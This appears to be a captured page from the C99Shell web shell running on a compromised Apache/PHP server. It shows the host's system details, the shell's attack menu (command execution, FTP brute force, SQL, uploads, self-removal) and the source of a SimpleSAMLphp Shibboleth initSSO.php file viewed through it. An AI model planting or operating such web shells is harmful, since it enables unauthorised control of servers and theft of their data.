!C99Shell v. 2.1 [PHP 8 Update] [02.02.2022]!

Software: Apache/2.4.53 (Unix) OpenSSL/1.1.1o PHP/7.4.29 mod_perl/2.0.12 Perl/v5.34.1. PHP/7.4.29 

uname -a: Linux vps-2738122-x 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64 

uid=1(daemon) gid=1(daemon) grupos=1(daemon) 

Safe-mode: OFF (not secure)

/opt/apex_tdfonline/php/3ros/simplesamlphp/www/shib13/sp/   drwxr-xr-x
Free 14.26 GB of 61.93 GB (23.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     initSSO.php (2.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

require_once('../../_include.php');

$config SimpleSAML_Configuration::getInstance();
$metadata SimpleSAML_Metadata_MetaDataStorageHandler::getMetadataHandler();


$session SimpleSAML_Session::getInstance();
        

/*
 * Incomming URL parameters
 *
 * idpentityid     optional    The entityid of the wanted IdP to authenticate with. If not provided will use default.
 * spentityid    optional    The entityid of the SP config to use. If not provided will use default to host.
 * RelayState    required    Where to send the user back to after authentication.
 *  
 */

SimpleSAML_Logger::info('Shib1.3 - SP.initSSO: Accessing Shib 1.3 SP initSSO script');

if (!
$config->getBoolean('enable.shib13-sp'false))
    throw new 
SimpleSAML_Error_Error('NOACCESS');


try {

    
$idpentityid = isset($_GET['idpentityid']) ? $_GET['idpentityid'] : $config->getString('default-shib13-idp'NULL) ;
    
$spentityid = isset($_GET['spentityid']) ? $_GET['spentityid'] : $metadata->getMetaDataCurrentEntityID('shib13-sp-hosted');

    if(
$idpentityid === NULL) {
        
/* We are going to need the SP metadata to determine which IdP discovery service we should use. */
        
$spmetadata $metadata->getMetaDataCurrent('shib13-sp-hosted');
    }


} catch (
Exception $exception) {
    throw new 
SimpleSAML_Error_Error('METADATA'$exception);
}



if (!isset(
$session) || !$session->isValid('shib13') ) {
    
    if (
$idpentityid == null) {
    
        
SimpleSAML_Logger::info('Shib1.3 - SP.initSSO: No chosen or default IdP, go to Shib13disco');

        
/* Which IdP discovery service should we use? Can be set in SP metadata or in global configuration.
         * Falling back to builtin discovery service.
         */
        
if(array_key_exists('idpdisco.url'$spmetadata)) {
            
$discservice $spmetadata['idpdisco.url'];
        } elseif(
$config->getString('idpdisco.url.shib13'NULL) !== NULL) {
            
$discservice $config->getString('idpdisco.url.shib13');
        } else {
            
$discservice '/' $config->getBaseURL() . 'shib13/sp/idpdisco.php';
        }

        
SimpleSAML_Utilities::redirect($discservice, array(
            
'entityID' => $spentityid,
            
'return' => SimpleSAML_Utilities::selfURL(),
            
'returnIDParam' => 'idpentityid',
            ));
    }
    
    
    try {
        
$ar = new SimpleSAML_XML_Shib13_AuthnRequest();
        
$ar->setIssuer($spentityid);    
        if(isset(
$_GET['RelayState'])) 
            
$ar->setRelayState($_GET['RelayState']);

        
SimpleSAML_Logger::info('Shib1.3 - SP.initSSO: SP (' $spentityid ') is sending AuthNRequest to IdP (' $idpentityid ')');

        
$url $ar->createRedirect($idpentityid);
        
SimpleSAML_Utilities::redirect($url);
    
    } catch(
Exception $exception) {        
        throw new 
SimpleSAML_Error_Error('CREATEREQUEST'$exception);
    }

} else {

    
    
$relaystate $_GET['RelayState'];
    
    if (isset(
$relaystate) && !empty($relaystate)) {
        
SimpleSAML_Logger::info('Shib1.3 - SP.initSSO: Already Authenticated, Go back to RelayState');
        
SimpleSAML_Utilities::redirect($relaystate);
    } else {
        throw new 
SimpleSAML_Error_Error('NORELAYSTATE');
    }

}




?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.1 [PHP 8 Update] [02.02.2022] maintained byC99Shell Github | Generation time: 0.5935 ]--